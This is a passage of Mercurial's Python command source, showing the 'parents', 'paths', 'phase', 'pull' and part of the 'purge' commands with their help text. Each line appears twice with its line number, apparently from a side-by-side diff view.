5044 Print the working directory's parent revisions. If a revision is
5044 Print the working directory's parent revisions. If a revision is
5045 given via -r/--rev, the parent of that revision will be printed.
5045 given via -r/--rev, the parent of that revision will be printed.
5046 If a file argument is given, the revision in which the file was
5046 If a file argument is given, the revision in which the file was
5047 last changed (before the working directory revision or the
5047 last changed (before the working directory revision or the
5048 argument to --rev if given) is printed.
5048 argument to --rev if given) is printed.
5049
5049
5050 This command is equivalent to::
5050 This command is equivalent to::
5051
5051
5052 hg log -r "p1()+p2()" or
5052 hg log -r "p1()+p2()" or
5053 hg log -r "p1(REV)+p2(REV)" or
5053 hg log -r "p1(REV)+p2(REV)" or
5054 hg log -r "max(::p1() and file(FILE))+max(::p2() and file(FILE))" or
5054 hg log -r "max(::p1() and file(FILE))+max(::p2() and file(FILE))" or
5055 hg log -r "max(::p1(REV) and file(FILE))+max(::p2(REV) and file(FILE))"
5055 hg log -r "max(::p1(REV) and file(FILE))+max(::p2(REV) and file(FILE))"
5056
5056
5057 See :hg:`summary` and :hg:`help revsets` for related information.
5057 See :hg:`summary` and :hg:`help revsets` for related information.
5058
5058
5059 Returns 0 on success.
5059 Returns 0 on success.
5060 """
5060 """
5061
5061
5062 opts = pycompat.byteskwargs(opts)
5062 opts = pycompat.byteskwargs(opts)
5063 rev = opts.get(b'rev')
5063 rev = opts.get(b'rev')
5064 if rev:
5064 if rev:
5065 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
5065 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
5066 ctx = logcmdutil.revsingle(repo, rev, None)
5066 ctx = logcmdutil.revsingle(repo, rev, None)
5067
5067
5068 if file_:
5068 if file_:
5069 m = scmutil.match(ctx, (file_,), opts)
5069 m = scmutil.match(ctx, (file_,), opts)
5070 if m.anypats() or len(m.files()) != 1:
5070 if m.anypats() or len(m.files()) != 1:
5071 raise error.InputError(_(b'can only specify an explicit filename'))
5071 raise error.InputError(_(b'can only specify an explicit filename'))
5072 file_ = m.files()[0]
5072 file_ = m.files()[0]
5073 filenodes = []
5073 filenodes = []
5074 for cp in ctx.parents():
5074 for cp in ctx.parents():
5075 if not cp:
5075 if not cp:
5076 continue
5076 continue
5077 try:
5077 try:
5078 filenodes.append(cp.filenode(file_))
5078 filenodes.append(cp.filenode(file_))
5079 except error.LookupError:
5079 except error.LookupError:
5080 pass
5080 pass
5081 if not filenodes:
5081 if not filenodes:
5082 raise error.InputError(_(b"'%s' not found in manifest") % file_)
5082 raise error.InputError(_(b"'%s' not found in manifest") % file_)
5083 p = []
5083 p = []
5084 for fn in filenodes:
5084 for fn in filenodes:
5085 fctx = repo.filectx(file_, fileid=fn)
5085 fctx = repo.filectx(file_, fileid=fn)
5086 p.append(fctx.node())
5086 p.append(fctx.node())
5087 else:
5087 else:
5088 p = [cp.node() for cp in ctx.parents()]
5088 p = [cp.node() for cp in ctx.parents()]
5089
5089
5090 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
5090 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
5091 for n in p:
5091 for n in p:
5092 if n != repo.nullid:
5092 if n != repo.nullid:
5093 displayer.show(repo[n])
5093 displayer.show(repo[n])
5094 displayer.close()
5094 displayer.close()
5095
5095
5096
5096
5097 @command(
5097 @command(
5098 b'paths',
5098 b'paths',
5099 formatteropts,
5099 formatteropts,
5100 _(b'[NAME]'),
5100 _(b'[NAME]'),
5101 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5101 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5102 optionalrepo=True,
5102 optionalrepo=True,
5103 intents={INTENT_READONLY},
5103 intents={INTENT_READONLY},
5104 )
5104 )
5105 def paths(ui, repo, search=None, **opts):
5105 def paths(ui, repo, search=None, **opts):
5106 """show aliases for remote repositories
5106 """show aliases for remote repositories
5107
5107
5108 Show definition of symbolic path name NAME. If no name is given,
5108 Show definition of symbolic path name NAME. If no name is given,
5109 show definition of all available names.
5109 show definition of all available names.
5110
5110
5111 Option -q/--quiet suppresses all output when searching for NAME
5111 Option -q/--quiet suppresses all output when searching for NAME
5112 and shows only the path names when listing all definitions.
5112 and shows only the path names when listing all definitions.
5113
5113
5114 Path names are defined in the [paths] section of your
5114 Path names are defined in the [paths] section of your
5115 configuration file and in ``/etc/mercurial/hgrc``. If run inside a
5115 configuration file and in ``/etc/mercurial/hgrc``. If run inside a
5116 repository, ``.hg/hgrc`` is used, too.
5116 repository, ``.hg/hgrc`` is used, too.
5117
5117
5118 The path names ``default`` and ``default-push`` have a special
5118 The path names ``default`` and ``default-push`` have a special
5119 meaning. When performing a push or pull operation, they are used
5119 meaning. When performing a push or pull operation, they are used
5120 as fallbacks if no location is specified on the command-line.
5120 as fallbacks if no location is specified on the command-line.
5121 When ``default-push`` is set, it will be used for push and
5121 When ``default-push`` is set, it will be used for push and
5122 ``default`` will be used for pull; otherwise ``default`` is used
5122 ``default`` will be used for pull; otherwise ``default`` is used
5123 as the fallback for both. When cloning a repository, the clone
5123 as the fallback for both. When cloning a repository, the clone
5124 source is written as ``default`` in ``.hg/hgrc``.
5124 source is written as ``default`` in ``.hg/hgrc``.
5125
5125
5126 .. note::
5126 .. note::
5127
5127
5128 ``default`` and ``default-push`` apply to all inbound (e.g.
5128 ``default`` and ``default-push`` apply to all inbound (e.g.
5129 :hg:`incoming`) and outbound (e.g. :hg:`outgoing`, :hg:`email`
5129 :hg:`incoming`) and outbound (e.g. :hg:`outgoing`, :hg:`email`
5130 and :hg:`bundle`) operations.
5130 and :hg:`bundle`) operations.
5131
5131
5132 See :hg:`help urls` for more information.
5132 See :hg:`help urls` for more information.
5133
5133
5134 .. container:: verbose
5134 .. container:: verbose
5135
5135
5136 Template:
5136 Template:
5137
5137
5138 The following keywords are supported. See also :hg:`help templates`.
5138 The following keywords are supported. See also :hg:`help templates`.
5139
5139
5140 :name: String. Symbolic name of the path alias.
5140 :name: String. Symbolic name of the path alias.
5141 :pushurl: String. URL for push operations.
5141 :pushurl: String. URL for push operations.
5142 :url: String. URL or directory path for the other operations.
5142 :url: String. URL or directory path for the other operations.
5143
5143
5144 Returns 0 on success.
5144 Returns 0 on success.
5145 """
5145 """
5146
5146
5147 opts = pycompat.byteskwargs(opts)
5147 opts = pycompat.byteskwargs(opts)
5148
5148
5149 pathitems = urlutil.list_paths(ui, search)
5149 pathitems = urlutil.list_paths(ui, search)
5150 ui.pager(b'paths')
5150 ui.pager(b'paths')
5151
5151
5152 fm = ui.formatter(b'paths', opts)
5152 fm = ui.formatter(b'paths', opts)
5153 if fm.isplain():
5153 if fm.isplain():
5154 hidepassword = urlutil.hidepassword
5154 hidepassword = urlutil.hidepassword
5155 else:
5155 else:
5156 hidepassword = bytes
5156 hidepassword = bytes
5157 if ui.quiet:
5157 if ui.quiet:
5158 namefmt = b'%s\n'
5158 namefmt = b'%s\n'
5159 else:
5159 else:
5160 namefmt = b'%s = '
5160 namefmt = b'%s = '
5161 showsubopts = not search and not ui.quiet
5161 showsubopts = not search and not ui.quiet
5162
5162
5163 for name, path in pathitems:
5163 for name, path in pathitems:
5164 fm.startitem()
5164 fm.startitem()
5165 fm.condwrite(not search, b'name', namefmt, name)
5165 fm.condwrite(not search, b'name', namefmt, name)
5166 fm.condwrite(not ui.quiet, b'url', b'%s\n', hidepassword(path.rawloc))
5166 fm.condwrite(not ui.quiet, b'url', b'%s\n', hidepassword(path.rawloc))
5167 for subopt, value in sorted(path.suboptions.items()):
5167 for subopt, value in sorted(path.suboptions.items()):
5168 assert subopt not in (b'name', b'url')
5168 assert subopt not in (b'name', b'url')
5169 if showsubopts:
5169 if showsubopts:
5170 fm.plain(b'%s:%s = ' % (name, subopt))
5170 fm.plain(b'%s:%s = ' % (name, subopt))
5171 if isinstance(value, bool):
5171 if isinstance(value, bool):
5172 if value:
5172 if value:
5173 value = b'yes'
5173 value = b'yes'
5174 else:
5174 else:
5175 value = b'no'
5175 value = b'no'
5176 fm.condwrite(showsubopts, subopt, b'%s\n', value)
5176 fm.condwrite(showsubopts, subopt, b'%s\n', value)
5177
5177
5178 fm.end()
5178 fm.end()
5179
5179
5180 if search and not pathitems:
5180 if search and not pathitems:
5181 if not ui.quiet:
5181 if not ui.quiet:
5182 ui.warn(_(b"not found!\n"))
5182 ui.warn(_(b"not found!\n"))
5183 return 1
5183 return 1
5184 else:
5184 else:
5185 return 0
5185 return 0
5186
5186
5187
5187
5188 @command(
5188 @command(
5189 b'phase',
5189 b'phase',
5190 [
5190 [
5191 (b'p', b'public', False, _(b'set changeset phase to public')),
5191 (b'p', b'public', False, _(b'set changeset phase to public')),
5192 (b'd', b'draft', False, _(b'set changeset phase to draft')),
5192 (b'd', b'draft', False, _(b'set changeset phase to draft')),
5193 (b's', b'secret', False, _(b'set changeset phase to secret')),
5193 (b's', b'secret', False, _(b'set changeset phase to secret')),
5194 (b'f', b'force', False, _(b'allow to move boundary backward')),
5194 (b'f', b'force', False, _(b'allow to move boundary backward')),
5195 (b'r', b'rev', [], _(b'target revision'), _(b'REV')),
5195 (b'r', b'rev', [], _(b'target revision'), _(b'REV')),
5196 ],
5196 ],
5197 _(b'[-p|-d|-s] [-f] [-r] [REV...]'),
5197 _(b'[-p|-d|-s] [-f] [-r] [REV...]'),
5198 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
5198 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
5199 )
5199 )
5200 def phase(ui, repo, *revs, **opts):
5200 def phase(ui, repo, *revs, **opts):
5201 """set or show the current phase name
5201 """set or show the current phase name
5202
5202
5203 With no argument, show the phase name of the current revision(s).
5203 With no argument, show the phase name of the current revision(s).
5204
5204
5205 With one of -p/--public, -d/--draft or -s/--secret, change the
5205 With one of -p/--public, -d/--draft or -s/--secret, change the
5206 phase value of the specified revisions.
5206 phase value of the specified revisions.
5207
5207
5208 Unless -f/--force is specified, :hg:`phase` won't move changesets from a
5208 Unless -f/--force is specified, :hg:`phase` won't move changesets from a
5209 lower phase to a higher phase. Phases are ordered as follows::
5209 lower phase to a higher phase. Phases are ordered as follows::
5210
5210
5211 public < draft < secret
5211 public < draft < secret
5212
5212
5213 Returns 0 on success, 1 if some phases could not be changed.
5213 Returns 0 on success, 1 if some phases could not be changed.
5214
5214
5215 (For more information about the phases concept, see :hg:`help phases`.)
5215 (For more information about the phases concept, see :hg:`help phases`.)
5216 """
5216 """
5217 opts = pycompat.byteskwargs(opts)
5217 opts = pycompat.byteskwargs(opts)
5218 # search for a unique phase argument
5218 # search for a unique phase argument
5219 targetphase = None
5219 targetphase = None
5220 for idx, name in enumerate(phases.cmdphasenames):
5220 for idx, name in enumerate(phases.cmdphasenames):
5221 if opts[name]:
5221 if opts[name]:
5222 if targetphase is not None:
5222 if targetphase is not None:
5223 raise error.InputError(_(b'only one phase can be specified'))
5223 raise error.InputError(_(b'only one phase can be specified'))
5224 targetphase = idx
5224 targetphase = idx
5225
5225
5226 # look for specified revision
5226 # look for specified revision
5227 revs = list(revs)
5227 revs = list(revs)
5228 revs.extend(opts[b'rev'])
5228 revs.extend(opts[b'rev'])
5229 if revs:
5229 if revs:
5230 revs = logcmdutil.revrange(repo, revs)
5230 revs = logcmdutil.revrange(repo, revs)
5231 else:
5231 else:
5232 # display both parents as the second parent phase can influence
5232 # display both parents as the second parent phase can influence
5233 # the phase of a merge commit
5233 # the phase of a merge commit
5234 revs = [c.rev() for c in repo[None].parents()]
5234 revs = [c.rev() for c in repo[None].parents()]
5235
5235
5236 ret = 0
5236 ret = 0
5237 if targetphase is None:
5237 if targetphase is None:
5238 # display
5238 # display
5239 for r in revs:
5239 for r in revs:
5240 ctx = repo[r]
5240 ctx = repo[r]
5241 ui.write(b'%i: %s\n' % (ctx.rev(), ctx.phasestr()))
5241 ui.write(b'%i: %s\n' % (ctx.rev(), ctx.phasestr()))
5242 else:
5242 else:
5243 with repo.lock(), repo.transaction(b"phase") as tr:
5243 with repo.lock(), repo.transaction(b"phase") as tr:
5244 # set phase
5244 # set phase
5245 if not revs:
5245 if not revs:
5246 raise error.InputError(_(b'empty revision set'))
5246 raise error.InputError(_(b'empty revision set'))
5247 nodes = [repo[r].node() for r in revs]
5247 nodes = [repo[r].node() for r in revs]
5248 # moving revision from public to draft may hide them
5248 # moving revision from public to draft may hide them
5249 # We have to check result on an unfiltered repository
5249 # We have to check result on an unfiltered repository
5250 unfi = repo.unfiltered()
5250 unfi = repo.unfiltered()
5251 getphase = unfi._phasecache.phase
5251 getphase = unfi._phasecache.phase
5252 olddata = [getphase(unfi, r) for r in unfi]
5252 olddata = [getphase(unfi, r) for r in unfi]
5253 phases.advanceboundary(repo, tr, targetphase, nodes)
5253 phases.advanceboundary(repo, tr, targetphase, nodes)
5254 if opts[b'force']:
5254 if opts[b'force']:
5255 phases.retractboundary(repo, tr, targetphase, nodes)
5255 phases.retractboundary(repo, tr, targetphase, nodes)
5256 getphase = unfi._phasecache.phase
5256 getphase = unfi._phasecache.phase
5257 newdata = [getphase(unfi, r) for r in unfi]
5257 newdata = [getphase(unfi, r) for r in unfi]
5258 changes = sum(newdata[r] != olddata[r] for r in unfi)
5258 changes = sum(newdata[r] != olddata[r] for r in unfi)
5259 cl = unfi.changelog
5259 cl = unfi.changelog
5260 rejected = [n for n in nodes if newdata[cl.rev(n)] < targetphase]
5260 rejected = [n for n in nodes if newdata[cl.rev(n)] < targetphase]
5261 if rejected:
5261 if rejected:
5262 ui.warn(
5262 ui.warn(
5263 _(
5263 _(
5264 b'cannot move %i changesets to a higher '
5264 b'cannot move %i changesets to a higher '
5265 b'phase, use --force\n'
5265 b'phase, use --force\n'
5266 )
5266 )
5267 % len(rejected)
5267 % len(rejected)
5268 )
5268 )
5269 ret = 1
5269 ret = 1
5270 if changes:
5270 if changes:
5271 msg = _(b'phase changed for %i changesets\n') % changes
5271 msg = _(b'phase changed for %i changesets\n') % changes
5272 if ret:
5272 if ret:
5273 ui.status(msg)
5273 ui.status(msg)
5274 else:
5274 else:
5275 ui.note(msg)
5275 ui.note(msg)
5276 else:
5276 else:
5277 ui.warn(_(b'no phases changed\n'))
5277 ui.warn(_(b'no phases changed\n'))
5278 return ret
5278 return ret
5279
5279
5280
5280
5281 def postincoming(ui, repo, modheads, optupdate, checkout, brev):
5281 def postincoming(ui, repo, modheads, optupdate, checkout, brev):
5282 """Run after a changegroup has been added via pull/unbundle
5282 """Run after a changegroup has been added via pull/unbundle
5283
5283
5284 This takes arguments below:
5284 This takes arguments below:
5285
5285
5286 :modheads: change of heads by pull/unbundle
5286 :modheads: change of heads by pull/unbundle
5287 :optupdate: updating working directory is needed or not
5287 :optupdate: updating working directory is needed or not
5288 :checkout: update destination revision (or None to default destination)
5288 :checkout: update destination revision (or None to default destination)
5289 :brev: a name, which might be a bookmark to be activated after updating
5289 :brev: a name, which might be a bookmark to be activated after updating
5290
5290
5291 return True if update raise any conflict, False otherwise.
5291 return True if update raise any conflict, False otherwise.
5292 """
5292 """
5293 if modheads == 0:
5293 if modheads == 0:
5294 return False
5294 return False
5295 if optupdate:
5295 if optupdate:
5296 try:
5296 try:
5297 return hg.updatetotally(ui, repo, checkout, brev)
5297 return hg.updatetotally(ui, repo, checkout, brev)
5298 except error.UpdateAbort as inst:
5298 except error.UpdateAbort as inst:
5299 msg = _(b"not updating: %s") % stringutil.forcebytestr(inst)
5299 msg = _(b"not updating: %s") % stringutil.forcebytestr(inst)
5300 hint = inst.hint
5300 hint = inst.hint
5301 raise error.UpdateAbort(msg, hint=hint)
5301 raise error.UpdateAbort(msg, hint=hint)
5302 if modheads is not None and modheads > 1:
5302 if modheads is not None and modheads > 1:
5303 currentbranchheads = len(repo.branchheads())
5303 currentbranchheads = len(repo.branchheads())
5304 if currentbranchheads == modheads:
5304 if currentbranchheads == modheads:
5305 ui.status(
5305 ui.status(
5306 _(b"(run 'hg heads' to see heads, 'hg merge' to merge)\n")
5306 _(b"(run 'hg heads' to see heads, 'hg merge' to merge)\n")
5307 )
5307 )
5308 elif currentbranchheads > 1:
5308 elif currentbranchheads > 1:
5309 ui.status(
5309 ui.status(
5310 _(b"(run 'hg heads .' to see heads, 'hg merge' to merge)\n")
5310 _(b"(run 'hg heads .' to see heads, 'hg merge' to merge)\n")
5311 )
5311 )
5312 else:
5312 else:
5313 ui.status(_(b"(run 'hg heads' to see heads)\n"))
5313 ui.status(_(b"(run 'hg heads' to see heads)\n"))
5314 elif not ui.configbool(b'commands', b'update.requiredest'):
5314 elif not ui.configbool(b'commands', b'update.requiredest'):
5315 ui.status(_(b"(run 'hg update' to get a working copy)\n"))
5315 ui.status(_(b"(run 'hg update' to get a working copy)\n"))
5316 return False
5316 return False
5317
5317
5318
5318
5319 @command(
5319 @command(
5320 b'pull',
5320 b'pull',
5321 [
5321 [
5322 (
5322 (
5323 b'u',
5323 b'u',
5324 b'update',
5324 b'update',
5325 None,
5325 None,
5326 _(b'update to new branch head if new descendants were pulled'),
5326 _(b'update to new branch head if new descendants were pulled'),
5327 ),
5327 ),
5328 (
5328 (
5329 b'f',
5329 b'f',
5330 b'force',
5330 b'force',
5331 None,
5331 None,
5332 _(b'run even when remote repository is unrelated'),
5332 _(b'run even when remote repository is unrelated'),
5333 ),
5333 ),
5334 (
5334 (
5335 b'',
5335 b'',
5336 b'confirm',
5336 b'confirm',
5337 None,
5337 None,
5338 _(b'confirm pull before applying changes'),
5338 _(b'confirm pull before applying changes'),
5339 ),
5339 ),
5340 (
5340 (
5341 b'r',
5341 b'r',
5342 b'rev',
5342 b'rev',
5343 [],
5343 [],
5344 _(b'a remote changeset intended to be added'),
5344 _(b'a remote changeset intended to be added'),
5345 _(b'REV'),
5345 _(b'REV'),
5346 ),
5346 ),
5347 (b'B', b'bookmark', [], _(b"bookmark to pull"), _(b'BOOKMARK')),
5347 (b'B', b'bookmark', [], _(b"bookmark to pull"), _(b'BOOKMARK')),
5348 (
5348 (
5349 b'b',
5349 b'b',
5350 b'branch',
5350 b'branch',
5351 [],
5351 [],
5352 _(b'a specific branch you would like to pull'),
5352 _(b'a specific branch you would like to pull'),
5353 _(b'BRANCH'),
5353 _(b'BRANCH'),
5354 ),
5354 ),
5355 ]
5355 ]
5356 + remoteopts,
5356 + remoteopts,
5357 _(b'[-u] [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [SOURCE]...'),
5357 _(b'[-u] [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [SOURCE]...'),
5358 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5358 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5359 helpbasic=True,
5359 helpbasic=True,
5360 )
5360 )
5361 def pull(ui, repo, *sources, **opts):
5361 def pull(ui, repo, *sources, **opts):
5362 """pull changes from the specified source
5362 """pull changes from the specified source
5363
5363
5364 Pull changes from a remote repository to a local one.
5364 Pull changes from a remote repository to a local one.
5365
5365
5366 This finds all changes from the repository at the specified path
5366 This finds all changes from the repository at the specified path
5367 or URL and adds them to a local repository (the current one unless
5367 or URL and adds them to a local repository (the current one unless
5368 -R is specified). By default, this does not update the copy of the
5368 -R is specified). By default, this does not update the copy of the
5369 project in the working directory.
5369 project in the working directory.
5370
5370
5371 When cloning from servers that support it, Mercurial may fetch
5371 When cloning from servers that support it, Mercurial may fetch
5372 pre-generated data. When this is done, hooks operating on incoming
5372 pre-generated data. When this is done, hooks operating on incoming
5373 changesets and changegroups may fire more than once, once for each
5373 changesets and changegroups may fire more than once, once for each
5374 pre-generated bundle and as well as for any additional remaining
5374 pre-generated bundle and as well as for any additional remaining
5375 data. See :hg:`help -e clonebundles` for more.
5375 data. See :hg:`help -e clonebundles` for more.
5376
5376
5377 Use :hg:`incoming` if you want to see what would have been added
5377 Use :hg:`incoming` if you want to see what would have been added
5378 by a pull at the time you issued this command. If you then decide
5378 by a pull at the time you issued this command. If you then decide
5379 to add those changes to the repository, you should use :hg:`pull
5379 to add those changes to the repository, you should use :hg:`pull
5380 -r X` where ``X`` is the last changeset listed by :hg:`incoming`.
5380 -r X` where ``X`` is the last changeset listed by :hg:`incoming`.
5381
5381
5382 If SOURCE is omitted, the 'default' path will be used.
5382 If SOURCE is omitted, the 'default' path will be used.
5383 See :hg:`help urls` for more information.
5383 See :hg:`help urls` for more information.
5384
5384
5385 If multiple sources are specified, they will be pulled sequentially as if
5385 If multiple sources are specified, they will be pulled sequentially as if
5386 the command was run multiple time. If --update is specify and the command
5386 the command was run multiple time. If --update is specify and the command
5387 will stop at the first failed --update.
5387 will stop at the first failed --update.
5388
5388
5389 Specifying bookmark as ``.`` is equivalent to specifying the active
5389 Specifying bookmark as ``.`` is equivalent to specifying the active
5390 bookmark's name.
5390 bookmark's name.
5391
5391
5392 Returns 0 on success, 1 if an update had unresolved files.
5392 Returns 0 on success, 1 if an update had unresolved files.
5393 """
5393 """
5394
5394
5395 opts = pycompat.byteskwargs(opts)
5395 opts = pycompat.byteskwargs(opts)
5396 if ui.configbool(b'commands', b'update.requiredest') and opts.get(
5396 if ui.configbool(b'commands', b'update.requiredest') and opts.get(
5397 b'update'
5397 b'update'
5398 ):
5398 ):
5399 msg = _(b'update destination required by configuration')
5399 msg = _(b'update destination required by configuration')
5400 hint = _(b'use hg pull followed by hg update DEST')
5400 hint = _(b'use hg pull followed by hg update DEST')
5401 raise error.InputError(msg, hint=hint)
5401 raise error.InputError(msg, hint=hint)
5402
5402
5403 for path in urlutil.get_pull_paths(repo, ui, sources):
5403 for path in urlutil.get_pull_paths(repo, ui, sources):
5404 source, branches = urlutil.parseurl(path.rawloc, opts.get(b'branch'))
5404 source, branches = urlutil.parseurl(path.rawloc, opts.get(b'branch'))
5405 ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
5405 ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
5406 ui.flush()
5406 ui.flush()
5407 other = hg.peer(repo, opts, source)
5407 other = hg.peer(repo, opts, source)
5408 update_conflict = None
5408 update_conflict = None
5409 try:
5409 try:
5410 revs, checkout = hg.addbranchrevs(
5410 revs, checkout = hg.addbranchrevs(
5411 repo, other, branches, opts.get(b'rev')
5411 repo, other, branches, opts.get(b'rev')
5412 )
5412 )
5413
5413
5414 pullopargs = {}
5414 pullopargs = {}
5415
5415
5416 nodes = None
5416 nodes = None
5417 if opts.get(b'bookmark') or revs:
5417 if opts.get(b'bookmark') or revs:
5418 # The list of bookmark used here is the same used to actually update
5418 # The list of bookmark used here is the same used to actually update
5419 # the bookmark names, to avoid the race from issue 4689 and we do
5419 # the bookmark names, to avoid the race from issue 4689 and we do
5420 # all lookup and bookmark queries in one go so they see the same
5420 # all lookup and bookmark queries in one go so they see the same
5421 # version of the server state (issue 4700).
5421 # version of the server state (issue 4700).
5422 nodes = []
5422 nodes = []
5423 fnodes = []
5423 fnodes = []
5424 revs = revs or []
5424 revs = revs or []
5425 if revs and not other.capable(b'lookup'):
5425 if revs and not other.capable(b'lookup'):
5426 err = _(
5426 err = _(
5427 b"other repository doesn't support revision lookup, "
5427 b"other repository doesn't support revision lookup, "
5428 b"so a rev cannot be specified."
5428 b"so a rev cannot be specified."
5429 )
5429 )
5430 raise error.Abort(err)
5430 raise error.Abort(err)
5431 with other.commandexecutor() as e:
5431 with other.commandexecutor() as e:
5432 fremotebookmarks = e.callcommand(
5432 fremotebookmarks = e.callcommand(
5433 b'listkeys', {b'namespace': b'bookmarks'}
5433 b'listkeys', {b'namespace': b'bookmarks'}
5434 )
5434 )
5435 for r in revs:
5435 for r in revs:
5436 fnodes.append(e.callcommand(b'lookup', {b'key': r}))
5436 fnodes.append(e.callcommand(b'lookup', {b'key': r}))
5437 remotebookmarks = fremotebookmarks.result()
5437 remotebookmarks = fremotebookmarks.result()
5438 remotebookmarks = bookmarks.unhexlifybookmarks(remotebookmarks)
5438 remotebookmarks = bookmarks.unhexlifybookmarks(remotebookmarks)
5439 pullopargs[b'remotebookmarks'] = remotebookmarks
5439 pullopargs[b'remotebookmarks'] = remotebookmarks
5440 for b in opts.get(b'bookmark', []):
5440 for b in opts.get(b'bookmark', []):
5441 b = repo._bookmarks.expandname(b)
5441 b = repo._bookmarks.expandname(b)
5442 if b not in remotebookmarks:
5442 if b not in remotebookmarks:
5443 raise error.InputError(
5443 raise error.InputError(
5444 _(b'remote bookmark %s not found!') % b
5444 _(b'remote bookmark %s not found!') % b
5445 )
5445 )
5446 nodes.append(remotebookmarks[b])
5446 nodes.append(remotebookmarks[b])
5447 for i, rev in enumerate(revs):
5447 for i, rev in enumerate(revs):
5448 node = fnodes[i].result()
5448 node = fnodes[i].result()
5449 nodes.append(node)
5449 nodes.append(node)
5450 if rev == checkout:
5450 if rev == checkout:
5451 checkout = node
5451 checkout = node
5452
5452
5453 wlock = util.nullcontextmanager()
5453 wlock = util.nullcontextmanager()
5454 if opts.get(b'update'):
5454 if opts.get(b'update'):
5455 wlock = repo.wlock()
5455 wlock = repo.wlock()
5456 with wlock:
5456 with wlock:
5457 pullopargs.update(opts.get(b'opargs', {}))
5457 pullopargs.update(opts.get(b'opargs', {}))
5458 modheads = exchange.pull(
5458 modheads = exchange.pull(
5459 repo,
5459 repo,
5460 other,
5460 other,
5461 path=path,
5461 path=path,
5462 heads=nodes,
5462 heads=nodes,
5463 force=opts.get(b'force'),
5463 force=opts.get(b'force'),
5464 bookmarks=opts.get(b'bookmark', ()),
5464 bookmarks=opts.get(b'bookmark', ()),
5465 opargs=pullopargs,
5465 opargs=pullopargs,
5466 confirm=opts.get(b'confirm'),
5466 confirm=opts.get(b'confirm'),
5467 ).cgresult
5467 ).cgresult
5468
5468
5469 # brev is a name, which might be a bookmark to be activated at
5469 # brev is a name, which might be a bookmark to be activated at
5470 # the end of the update. In other words, it is an explicit
5470 # the end of the update. In other words, it is an explicit
5471 # destination of the update
5471 # destination of the update
5472 brev = None
5472 brev = None
5473
5473
5474 if checkout:
5474 if checkout:
5475 checkout = repo.unfiltered().changelog.rev(checkout)
5475 checkout = repo.unfiltered().changelog.rev(checkout)
5476
5476
5477 # order below depends on implementation of
5477 # order below depends on implementation of
5478 # hg.addbranchrevs(). opts['bookmark'] is ignored,
5478 # hg.addbranchrevs(). opts['bookmark'] is ignored,
5479 # because 'checkout' is determined without it.
5479 # because 'checkout' is determined without it.
5480 if opts.get(b'rev'):
5480 if opts.get(b'rev'):
5481 brev = opts[b'rev'][0]
5481 brev = opts[b'rev'][0]
5482 elif opts.get(b'branch'):
5482 elif opts.get(b'branch'):
5483 brev = opts[b'branch'][0]
5483 brev = opts[b'branch'][0]
5484 else:
5484 else:
5485 brev = branches[0]
5485 brev = branches[0]
5486 repo._subtoppath = source
5486 repo._subtoppath = source
5487 try:
5487 try:
5488 update_conflict = postincoming(
5488 update_conflict = postincoming(
5489 ui, repo, modheads, opts.get(b'update'), checkout, brev
5489 ui, repo, modheads, opts.get(b'update'), checkout, brev
5490 )
5490 )
5491 except error.FilteredRepoLookupError as exc:
5491 except error.FilteredRepoLookupError as exc:
5492 msg = _(b'cannot update to target: %s') % exc.args[0]
5492 msg = _(b'cannot update to target: %s') % exc.args[0]
5493 exc.args = (msg,) + exc.args[1:]
5493 exc.args = (msg,) + exc.args[1:]
5494 raise
5494 raise
5495 finally:
5495 finally:
5496 del repo._subtoppath
5496 del repo._subtoppath
5497
5497
5498 finally:
5498 finally:
5499 other.close()
5499 other.close()
5500 # skip the remaining pull source if they are some conflict.
5500 # skip the remaining pull source if they are some conflict.
5501 if update_conflict:
5501 if update_conflict:
5502 break
5502 break
5503 if update_conflict:
5503 if update_conflict:
5504 return 1
5504 return 1
5505 else:
5505 else:
5506 return 0
5506 return 0
5507
5507
5508
5508
5509 @command(
5509 @command(
5510 b'purge|clean',
5510 b'purge|clean',
5511 [
5511 [
5512 (b'a', b'abort-on-err', None, _(b'abort if an error occurs')),
5512 (b'a', b'abort-on-err', None, _(b'abort if an error occurs')),
5513 (b'', b'all', None, _(b'purge ignored files too')),
5513 (b'', b'all', None, _(b'purge ignored files too')),
5514 (b'i', b'ignored', None, _(b'purge only ignored files')),
5514 (b'i', b'ignored', None, _(b'purge only ignored files')),
5515 (b'', b'dirs', None, _(b'purge empty directories')),
5515 (b'', b'dirs', None, _(b'purge empty directories')),
5516 (b'', b'files', None, _(b'purge files')),
5516 (b'', b'files', None, _(b'purge files')),
5517 (b'p', b'print', None, _(b'print filenames instead of deleting them')),
5517 (b'p', b'print', None, _(b'print filenames instead of deleting them')),
5518 (
5518 (
5519 b'0',
5519 b'0',
5520 b'print0',
5520 b'print0',
5521 None,
5521 None,
5522 _(
5522 _(
5523 b'end filenames with NUL, for use with xargs'
5523 b'end filenames with NUL, for use with xargs'
5524 b' (implies -p/--print)'
5524 b' (implies -p/--print)'
5525 ),
5525 ),
5526 ),
5526 ),
5527 (b'', b'confirm', None, _(b'ask before permanently deleting files')),
5527 (b'', b'confirm', None, _(b'ask before permanently deleting files')),
5528 ]
5528 ]
5529 + cmdutil.walkopts,
5529 + cmdutil.walkopts,
5530 _(b'hg purge [OPTION]... [DIR]...'),
5530 _(b'hg purge [OPTION]... [DIR]...'),
5531 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5531 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5532 )
5532 )
5533 def purge(ui, repo, *dirs, **opts):
5533 def purge(ui, repo, *dirs, **opts):
5534 """removes files not tracked by Mercurial
5534 """removes files not tracked by Mercurial
5535
5535
5536 Delete files not known to Mercurial. This is useful to test local
5536 Delete files not known to Mercurial. This is useful to test local
5537 and uncommitted changes in an otherwise-clean source tree.
5537 and uncommitted changes in an otherwise-clean source tree.
5538
5538
5539 This means that purge will delete the following by default:
5539 This means that purge will delete the following by default:
5540
5540
